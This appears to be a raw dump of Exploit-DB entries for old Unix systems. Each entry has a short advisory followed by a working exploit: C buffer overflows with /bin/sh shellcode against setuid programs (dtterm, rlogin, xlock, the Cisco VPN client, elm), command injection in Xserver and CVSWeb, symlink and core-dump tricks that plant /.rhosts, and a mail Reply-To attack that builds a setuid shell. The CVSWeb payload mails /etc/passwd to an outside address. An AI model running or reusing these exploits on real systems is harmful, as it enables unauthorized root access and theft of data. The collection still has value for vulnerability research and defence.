deardaniel/secdata-raw huggingface dataset:
Exploit-DB #19201
Description: BSD/OS 2.1 / Caldera UnixWare 7/7.1.0 / FreeBSD 1.1.5.1/2.0 / HP HP-UX 10.34 / IBM AIX 4.2 / SGI IRIX 6.3 / SunOS 4.1.4 - 'libXt Library' Local Overflow / Local Privilege Escalation (2)
Type: local
Platform: unix
Date: 1997-08-25
Author: jGgM

Exploit:
/*
source: https://www.securityfocus.com/bid/237/info
 
The libXt library is part of the X Windows system. There are several buffer overflow conditions that may allow an unauthorized user to gain root privileges through setuid and setgid programs that are linked to libXt. These problems were openly discussed on the Bugtraq mailing list in 1996, this discussion led the OpenGroup (maintainers of the X-Windowing System) to release a new version of X Windows which was more thoroughly audited and which hopefully addressed a series of buffer overflows. 
*/

/*
 * dtterm buffer overflow by jGgM
 * http://www.netemperor.com/en/
 * EMail: jggm@mail.com
 * 
*/
#include <stdio.h>
#include <stdlib.h>

char shell[] =
  "\xeb\x48\x9a\xff\xff\xff\xff\x07\xff\xc3\x5e\x31\xc0\x89\x46\xb4"
  "\x88\x46\xb9\x88\x46\x07\x89\x46\x0c\x31\xc0\x50\xb0\x8d\xe8\xdf"
  "\xff\xff\xff\x83\xc4\x04\x31\xc0\x50\xb0\x17\xe8\xd2\xff\xff\xff"
  "\x83\xc4\x04\x31\xc0\x50\x8d\x5e\x08\x53\x8d\x1e\x89\x5e\x08\x53"
  "\xb0\x3b\xe8\xbb\xff\xff\xff\x83\xc4\x0c\xe8\xbb\xff\xff\xff\x2f"
  "\x62\x69\x6e\x2f\x73\x68\xff\xff\xff\xff\xff\xff\xff\xff\xff";

#define NOP	0x90
#define LEN		102

#define BUFFER_SIZE	1052
#define RET_LENGTH	10
#define ADJUST		4

long get_sp(void) {
   __asm__("movl %esp, %eax");
}

int
main(int argc, char *argv[])
{
   char buffer[BUFFER_SIZE+(RET_LENGTH*4)+1];
   long offset, ret;
   int  x, y;

   if(argc > 2) {
      fprintf(stderr, "Usage: %s [offset]\n", argv[0]);
      exit(1);
   } // end of if..

   if(argc == 2) offset = atol(argv[1]);
   else offset = 0;

   ret = get_sp() + 900 + offset;

   for(x=0; x<BUFFER_SIZE; x++) buffer[x] = NOP;

   x = BUFFER_SIZE - strlen(shell) - ADJUST;

   for(y=0; y<strlen(shell); y++)
      buffer[x++] = shell[y];

   for(y=0; y<RET_LENGTH; y++, x += 4)
      *((int *)&buffer[x]) = ret;

   buffer[x] = 0x00;

   printf("ret = 0x%x,\n", ret);
   printf("offset = %d\n", offset);
   printf("buffer size = %d\n", strlen(buffer));
   execl("/usr/dt/bin/dtterm", "dtterm", "-xrm", buffer, NULL);
   printf("exec failed\n");
}
Exploit-DB #19203
Description: BSD/OS 2.1 / DG/UX 4.0 / Debian 0.93 / Digital UNIX 4.0 B / FreeBSD 2.1.5 / HP-UX 10.34 / IBM AIX 4.1.5 / NetBSD 1.0/1.1 / NeXTstep 4.0 / SGI IRIX 6.3 / SunOS 4.1.4 - 'rlogin' Local Privilege Escalation
Type: local
Platform: unix
Date: 1996-12-04
Author: Roger Espel Llima

Exploit:
/*
source: https://www.securityfocus.com/bid/242/info

The SUID rlogin program is used to establish remote sessions. A buffer overflow condition has been found in the rlogin program that may allow an unauthorized user to gain root access. The overflow in particular is in the rlogin code that handles the TERM enviroment variable. Similar bugs have been known to exist in some telnetd implementations.

NOTE:

The vulnerability was updated august 2, 2000 to reflect certain versions of IRIX to be vulnerable.
*/

/*## copyright LAST STAGE OF DELIRIUM oct 1997 poland        *://lsd-pl.net/ #*/
/*## /usr/bsd/rlogin                                                         #*/

#define NOPNUM 4940
#define ADRNUM 5000 
#define ALLIGN 2

char shellcode[]=
    "\x04\x10\xff\xff"    /* bltzal  $zero,<shellcode>    */
    "\x24\x02\x03\xf3"    /* li      $v0,1011             */
    "\x23\xff\x01\x14"    /* addi    $ra,$ra,276          */
    "\x23\xe4\xff\x08"    /* addi    $a0,$ra,-248         */
    "\x23\xe5\xff\x10"    /* addi    $a1,$ra,-240         */
    "\xaf\xe4\xff\x10"    /* sw      $a0,-240($ra)        */
    "\xaf\xe0\xff\x14"    /* sw      $zero,-236($ra)      */
    "\xa3\xe0\xff\x0f"    /* sb      $zero,-241($ra)      */
    "\x03\xff\xff\xcc"    /* syscall                      */
    "/bin/sh"
;

char jump[]=
    "\x03\xa0\x10\x25"    /* move    $v0,$sp              */
    "\x03\xe0\x00\x08"    /* jr      $ra                  */
;

char nop[]="\x24\x0f\x12\x34";

main(int argc,char **argv){
    char buffer[10000],adr[4],*b,*envp[2];
    int i;

    printf("copyright LAST STAGE OF DELIRIUM oct 1997 poland  //lsd-pl.net/\n");
    printf("/usr/bsd/rlogin for irix 5.2 5.3 6.2 6.3 IP:17,19,20,21,22,32\n\n");

    *((unsigned long*)adr)=(*(unsigned long(*)())jump)()+10288+7000;

    envp[0]=buffer;
    envp[1]=0;

    b=buffer;
    sprintf(b,"TERM=");
    b+=5;
    for(i=0;i<ADRNUM;i++) *b++=adr[i%4];
    for(i=0;i<ALLIGN;i++) *b++=0xff;
    for(i=0;i<NOPNUM;i++) *b++=nop[i%4];
    for(i=0;i<strlen(shellcode);i++) *b++=shellcode[i]; 
    *b=0;

    execle("/usr/bsd/rlogin","rlogin","localhost",0,envp);
}
Exploit-DB #19172
Description: BSD/OS 2.1 / DG/UX 7.0 / Debian 1.3 / HP-UX 10.34 / IBM AIX 4.2 / SGI IRIX 6.4 / Solaris 2.5.1 - 'xlock' Local Overflow / Local Privilege Escalation (1)
Type: local
Platform: unix
Date: 1997-04-26
Author: cesaro

Exploit:
/*
source: https://www.securityfocus.com/bid/224/info

The xlock program is used to lock the local X display until the user supplies the correct password. A buffer overflow condition has been discovered in xlock that may allow an unauthorized user to gain root access. 
*/

/*   x86 XLOCK overflow exploit
     by cesaro@0wned.org 4/17/97

     Original exploit framework - lpr exploit

     Usage: make xlock-exploit
            xlock-exploit  <optional_offset>

     Assumptions: xlock is suid root, and installed in /usr/X11/bin
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define DEFAULT_OFFSET          50
#define BUFFER_SIZE             996

long get_esp(void)
{
   __asm__("movl %esp,%eax\n");
}

int main(int argc, char *argv[])
{
   char *buff = NULL;

   unsigned long *addr_ptr = NULL;
   char *ptr = NULL;
   int dfltOFFSET = DEFAULT_OFFSET;

   u_char execshell[] =   "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07"
                          "\x89\x56\x0f\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12"
                          "\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80\xe8"
                          "\xd7\xff\xff\xff/bin/sh";
  int i;

   if (argc > 1)
      dfltOFFSET = atoi(argv[1]);
   else printf("You can specify another offset as a parameter if you 
need...\n");

   buff = malloc(4096);
   if(!buff)
   {
      printf("can't allocate memory\n");
      exit(0);
   }
   ptr = buff;
   memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));
   ptr += BUFFER_SIZE-strlen(execshell);
   for(i=0;i < strlen(execshell);i++)
      *(ptr++) = execshell[i];
   addr_ptr = (long *)ptr;
   for(i=0;i<2;i++)
      *(addr_ptr++) = get_esp() + dfltOFFSET;
   ptr = (char *)addr_ptr;
   *ptr = 0;
   execl("/usr/X11/bin/xlock", "xlock", "-nolock", "-name", buff, NULL);
}
Exploit-DB #21796
Description: BubbleMon 1.x Kernel - Memory File Descriptor Leakage
Type: local
Platform: unix
Date: 2002-09-16
Author: badc0ded

Exploit:
source: https://www.securityfocus.com/bid/5714/info

It has been reported that BubbleMon is vulnerable to a leakage of open file descriptors that may result in unauthorized disclosure of kernel memory. It is allegedly possible for attackers to inherit the open file descriptors for /dev/mem and /dev/kmem by executing a malicious program through BubbleMon. The program that is executed can be specified by the attacker at the command line.

bubblemon "dummy&/usr/local/sbin/lsof|grep dummy|grep mem"
Exploit-DB #21758
Description: Caldera X Server 7.1/8.0 - External Program Privileged Invocation
Type: local
Platform: unix
Date: 2002-08-27
Author: Olaf Kirch

Exploit:
source: https://www.securityfocus.com/bid/5575/info

Caldera's X Server implementation invokes external commands without dropping existing privilege levels. Xserver calls xkbcomp, and other related utilities, in an unsecure manner using the popen() or system() calls. While this would not typically be an issue, as execution of the binary would typically result in the execution of code in the security context of the invoking user, the xkbcomp utility is executed by the Xserver process before privileges are dropped.

This weakness can be exploited by local attacker to execute arbitrary commands with elevated privileges. 

$ Xserver -xkbdir 'id > /tmp/I_WAS_HERE;'
[exit X server]
$ grep root /tmp/I_WAS_HERE && echo 'Gotcha!'

$ cat > /tmp/xkbcomp
#!/bin/sh
id > /tmp/I_WAS_HERE
[ctrl+d]
$ chmod a+x /tmp/xkbcomp
$ Xserver -xkbdir /tmp
[X server executes /tmp/xkbcomp]
Exploit-DB #21806
Description: Cisco VPN 5000 Client - Buffer Overrun (2)
Type: local
Platform: unix
Date: 2002-09-18
Author: zillion

Exploit:
// source: https://www.securityfocus.com/bid/5734/info
 
Buffer overrun vulnerabilities have been reported in the Cisco VPN 5000 UNIX clients available for Linux and Solaris systems. The condition affects the binaries 'close_tunnel' and 'open_tunnel', both installed setuid root by default. Malicious local users may exploit these vulnerabilities to gain superuser privileges on the affected host.

/*
 * Cisco VPN 5000 Linux client version 5.1.5 local root exploit 
 *
 * By zillion[at]safemode.org 09/2002 
 * 
 * Greets to the 0dd people ;p
 *
 */

#include <unistd.h>
#include <sys/stat.h>
#include <string.h>

#define BUFFER_SIZE 2504
#define NOP 0x90
#define RET 0xbffff0e0

char shellcode[]=

        /* setresuid(0,0,0) &&  execve("/bin/sh",["/bin/sh"],0); */
        "\xeb\x26\x5e\x31\xc0\x89\xc3\x89\xc1\x89\xc2\xb0\xa4\xcd\x80"
        "\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46\x0c\xb0\x0b"
        "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xd5\xff\xff\xff"
        "\x2f\x62\x69\x6e\x2f\x73\x68";

void print_error(char * burb) { 
        printf(" Error: %s !\n",burb); exit(0); 
}

void usage(char *progname) {
        printf("\nDefault: %s  -f /path/to/close_tunnel",progname);
        printf("\nOption : %s  -o <offset>\n\n",progname);
        exit(0);
}

int main(int argc, char **argv){

char buffer[BUFFER_SIZE];
char file[30];
long retaddress;
int arg,offset=600;

struct stat sbuf;

if(argc < 2) { usage(argv[0]); }

while ((arg = getopt (argc, argv, "f:o:")) != -1){ 
      switch (arg){ 
      case 'f': 
        strncpy(file,optarg,sizeof(file));
        if(stat(argv[2], &sbuf)) { print_error("No such file");}
        break; 
      case 'o':       
        offset = atoi(optarg);
        if(offset < 0) { print_error("Offset must be positive");}
        break; 
      default :       
        usage(argv[0]); 
     } 
} 

retaddress = (RET - offset);
memset(buffer,NOP,BUFFER_SIZE);
memcpy(buffer + BUFFER_SIZE - (sizeof(shellcode) + 8) ,shellcode,sizeof(shellcode) -1);

/* Overwrite EBP and EIP */
*(long *)&buffer[BUFFER_SIZE - 8]  = retaddress;
*(long *)&buffer[BUFFER_SIZE - 4]  = retaddress;

if(execl(file,file,"-d",buffer,NULL) != 0) {
        print_error("Could not execute file");
}

return 0;

}
Exploit-DB #20108
Description: CVS Kit CVS Server 1.10.8 - 'Checkin.prog' Binary Execution
Type: local
Platform: unix
Date: 2000-06-28
Author: Tanaka Akira

Exploit:
source: https://www.securityfocus.com/bid/1524/info

A CVS committer can execute arbitrary binaries by using Checkin.prog. Usually CVS/Checkin.prog in a working directory is copied from CVSROOT/modules when the directory is "checkout"ed and it is sent back to the server and executed with committing. Note that when it is executed, committed files exist in the current directory.

Since a working directory can be modified by a committer, Checkin.prog may be modified or even newly created. If a malicious committer does this, cvs server executes the modified Checkin.prog. Also note that the committer can create an arbitrary binary file by `cvs add -kb' and `cvs commit'. The malicious committer can execute the recently committed binary file via Checkin.prog triggered by the `cvs commit'.

% cvs -d :pserver:test@localhost:/tmp/cvs -f co somemodule
cvs server: Updating somemodule
% cd somemodule
% cp /bin/ls binary
% cvs add -kb binary
cvs server: scheduling file `binary' for addition
cvs server: use 'cvs commit' to add this file permanently
% echo ./binary > CVS/Checkin.prog
% cvs commit -m 'test'
cvs commit: Examining .
RCS file: /tmp/cvs/somemodule/binary,v
done
Checking in binary;
/tmp/cvs/somemodule/binary,v <-- binary
initial revision: 1.1
done
cvs server: Executing ''./binary' '/tmp/cvs/somemodule''
#cvs.lock
#cvs.wfl.serein.m17n.org.14330
binary,v
Exploit-DB #20107
Description: CVS Kit CVS Server 1.10.8 - Instructed File Create
Type: local
Platform: unix
Date: 2000-07-28
Author: Tanaka Akira

Exploit:
source: https://www.securityfocus.com/bid/1523/info

The cvs client blindly trust paths returned to it by the server. Therefore, a cvs client could be tricked into creating a file anywhere on the system by a malicious server. 

This problem can be tested yourself as follows. Although this example
runs a faked cvs server using the :ext: method, this vulnerability is
available with any method (including :pserver: of course).

% ls -l /tmp/foo
ls: /tmp/foo: No such file or directory
% cat crackers-cvs-server
#!/bin/sh

cat <<'End'
Valid-requests Root Valid-responses valid-requests Repository Directory Max-dotdot Static-directory Sticky Checkin-prog Update-prog
Entry Kopt Checkin-time Modified Is-modified UseUnchanged Unchanged Notify Questionable Case Argument Argumentx Global_option
Gzip-stream wrapper-sendme-rcsOptions Set Kerberos-encrypt expand-modules ci co update diff log add remove update-patches
gzip-file-contents status rdiff tag rtag import admin export history release watch-on watch-off watch-add watch-remove watchers
editors init annotate noop
ok
Module-expansion tst
ok
Clear-sticky tst/
/cvsroot/tst/
Clear-static-directory tst/
/cvsroot/tst/
E cvs server: Updating tst
Created /tmp/
/cvsroot/tst/foo
/foo/1.1///
u=rw,g=rw,o=rw
4
abc
ok
End
% CVS_RSH=./crackers-cvs-server cvs -f -d :ext:user@server:/cvsroot co tst
cvs server: Updating tst
cvs checkout: in directory /tmp:
cvs checkout: cannot open CVS/Entries for reading: No such file or directory
cvs checkout: cannot open CVS/Entries.Log: No such file or directory
% ls -l /tmp/foo
-rw-r--r-- 1 akr wheel 4 Jul 19 22:01 /tmp/foo
% cat /tmp/foo
abc
Exploit-DB #20073
Description: CVSWeb Developer CVSWeb 1.80 - Insecure Perl 'open' Code Execution
Type: local
Platform: unix
Date: 2000-07-12
Author: Joey Hess

Exploit:
source: https://www.securityfocus.com/bid/1469/info

Cvsweb 1.80 makes an insecure call to the perl OPEN function, providing attackers with write access to a cvs repository the ability to execute arbitrary commands on the host machine. The code that is being exploited here is the following: open($fh, "rlog '$filenames' 2>/dev/null |")

An attack looks something like this:

SHELLCODE="';perl -e '\$_=q{mail foo#bar.baz < !etc!passwd}; y:!#:\x2F\x40:; system \$_';'"
touch $SHELLCODE
cvs add $SHELLCODE
cvs commit -m '' $SHELLCODE

Then the attacker either visits the cvsweb page that is a directory listing for the directory they put the trojan file in, or they wait for someone else to do the same. Views of this page cause the command to be executed, mailing /etc/passwd to the attacker or [insert something more nasty here].
Exploit-DB #20382
Description: Debian 2.x / RedHat 6.2 / IRIX 5/6 / Solaris 2.x - Mail Reply-To Field
Type: local
Platform: unix
Date: 2000-11-01
Author: Gregory Duchemin

Exploit:
source: https://www.securityfocus.com/bid/1910/info

mail is a simple console e-mail client. A vulnerability exists in several vendors' distributions of this program.

An attacker can compose an email message with a carefully-formed string in the Reply-To: field which includes shell meta-characters, and send it to a victim/recipient.

Upon receipt of this message, the recipient might normally see the dangerous text in the Reply-to field and delete the message without responding. 

However, the field can be formed in such a way that these extra characters are concealed. By including a series of ^H characters, the attacker can affect the text in the field as it is displayed on the recipient's screen. As a result, the victim has no visible indication that the message variables (eg, from and reply-to) are malformed.

If the message elicits a response from the user, the contents of the reply-to field will be interpreted as a reference to a pre-existing file in /tmp, placed earlier by the attacker, which can contain arbitrary shell commands. This can grant the attacker an elevation of privileges, to that of his victim, and possibly root (if root replies to the dangerous email..).

#!/bin/sh
#
# I-Love-U.sh

# Exploit for | char in mail Reply-To field
# tested on linux Caldera (techno preview linux 2.4.0)
#

# Gregory Duchemin ( AKA C3rb3r )
# Security Consultant
#
# NEUROCOM CANADA
# 1001 bd Maisonneuve Ouest
# Montreal (Quebec) H3A 3C8 Canada
# c3rb3r@hotmail.com



# Cook Ingredients: one | char (hidden in an uppercase i),
# a bit of evil ^H to hide "/tmp/", and a girl to stimulate a reply ;)
#


cd /tmp
cat ^H^H^H^H^Hsabelle@hotmail.com << _End
#!/bin/sh
cp /bin/sh /tmp/newsh
chmod a+rws /tmp/newsh
_End


{
sleep 1
echo "HELO hotmail.com"
sleep 1
echo "MAIL FROM:<Isabelle@hotmail.com>"
sleep 1
echo "RCPT TO:<root>"
sleep 1
echo "DATA"
sleep 1


# Reply-to will appear as Reply-To:<|sabelle@hotmail.com>

echo "Reply-To:<|/tmp/^H^H^H^H^Hsabelle@hotmail.com>"
sleep 1
echo
echo "I saw you yesterday, since i'm a bit confused..i just wanted"
echo "to say you."
echo "I believe I LOVE YOU"
echo
echo "Isabelle."
echo "."
sleep 1
echo "QUIT"
sleep 2
}|telnet localhost 25

echo "Job is done...now check for newsh in /tmp"
echo
echo
Exploit-DB #21107
Description: Digital Unix 4.0 - MSGCHK MH_PROFILE Symbolic Link
Type: local
Platform: unix
Date: 2001-09-10
Author: seo

Exploit:
source: https://www.securityfocus.com/bid/3320/info

The msgchk utility under certain versions of Digital Unix contains an information disclosure vulnerability which could yield root privilege.

Because msgchk fails to check file permissions before opening user configuration files in the user's home directory, a symbolic link to a target file can permit a local user to read the first line of data contained in any file readable by the msgchk user. Where msgchk is run setuid root, this allows limited information to be read from any file on the host. 

++ msgchkx.sh
#!/bin/sh
# truefinder, seo@igrus.inha.ac.kr
# msgchk file read vulnerability

if [ ! -f $1 ]
then
	echo "usage : $0 <file path>"
fi

cd ~
ln -sf $1 ~/.mh_profile
/usr/bin/mh/msgchk
Exploit-DB #19068
Description: Digital UNIX 4.0/4.0 B/4.0 D - SUID/SGID Core File
Type: local
Platform: unix
Date: 1998-04-06
Author: ru5ty & SoReN

Exploit:
source: https://www.securityfocus.com/bid/74/info

Digital UNIX 4.0 will follow symlinks while writting core files if two setuid programs dump core in sucession. The core file is owned by root but with the user's groud id. The core file permissions are 0600. This can be used to create root owned file anywhere in the filesystem.

$ ls -l /.rhosts
/.rhosts not found
$ ls -l /usr/sbin/ping
-rwsr-xr-x 1 root bin 32768 Nov 16 1996 /usr/sbin/ping
$ ln -s /.rhosts core
$ IMP='
>+ +
>'
$ ping somehost &
[1] 1337
$ ping somehost &
[2] 31337
$ kill -11 31337
$ kill -11 1337
[1] Segmentation fault /usr/sbin/ping somehost (core dumped)
[2] +Segmentation fault /usr/sbin/ping somehost (core dumped)
$ ls -l /.rhosts
-rw------- 1 root system 385024 Mar 29 05:17 /.rhosts
##/.rhosts has been created....that's all.##
$ rlogin localhost -l root
Exploit-DB #19971
Description: Elm Development Group ELM 2.4/2.5.1 Mail for UNIX - ELM Buffer Overflow (1)
Type: local
Platform: unix
Date: 2000-05-07
Author: Scrippie

Exploit:
// source: https://www.securityfocus.com/bid/1276/info
// 
// Buffer overflow vulnerabilities exist in elm (Electronic Mail for Unix). 
// 

/*
   Elm Exploit - Scrippie - #Phreak.nl - b0f -
http://b0f.freebsd.lublin.pl

   This exploit spawns an EGID mail shell on the default Slackware 4
install.

 	Use as: elm-smash [mail-gid] [offset]
 
 	Not that EGID=mail has got any use, but hey, think of it as group
         eleviation :)
  
 	Take care and till next time!
 */
 
 #include <stdio.h>
 #define NUMNOPS 193		// If you change this, you gonna have to
 change
 				// the entire sploit ;)
 
 // Shellcode does: setgid(12); execve("/bin/sh");
 char
 shellcode[]="\xeb\x29\x5e\x31\xc0\xb0\x2e\x31\xdb\xb3\x0c\xcd\x80\x89\x76"
 
 "\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c"
 
 "\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xd2\xff\xff\xff\x2f\x62\x69\x6e\x2f"
  "\x73\x68";
 
 // Oh no! Where the fuck is my code on the stack?
 unsigned long get_sp(void) {
    __asm__("movl %esp, %eax");
 }
 // Thanx for telling me lad :)
 
 main(int argc, char **argv)
 {
    int i, offset=-300;		// Offset works for my box
    char gid=12;
    long addy;
    char *thaCode;
    char *mailGid;
 
    if(argc > 1) {
       gid = (char) atoi(argv[1]);
       mailGid = (char *)strchr(shellcode, 0x0c);
       *mailGid = gid;
    }
 
    if(argc > 2) offset = atoi(argv[2]);
 
    if(!(thaCode = (char *) malloc(NUMNOPS+sizeof(shellcode)+5))) {
       fprintf(stderr, "Contact your admin and tell him to buy more
 RAM\n");
       exit(-1);
    }
 
    addy = get_sp() - offset;
 
    printf("/-----------------------------------------------\\\n");
    printf("|   Slack 4/Elm exploit - Scrippie              |\n");
    printf("\\-----------------------------------------------/\n");
    printf("Assuming sgid(elm) = %d\n", (int) gid);
    printf("Using ret addr = %x\n", addy);
    printf("You're now EUID=mail, take care :-p\n");
    printf("Please run \"reset\" when this works\n");
    sleep(4);
 
    memset(thaCode, 0x90, NUMNOPS);
    thaCode[NUMNOPS] = 0x00;		// Set to NULL to make strcat() work
    strcat(thaCode, shellcode);
 
    memcpy(thaCode + strlen(thaCode), (void *) &addy, 4);
    setenv("MAIL", thaCode, 1);		// We're going to be nasty now :)
 
    if((execl("/usr/bin/elm", "/usr/bin/elm", NULL)) == -1) {
       perror("execl()");
       exit(-1);
    }
    exit(0);
 }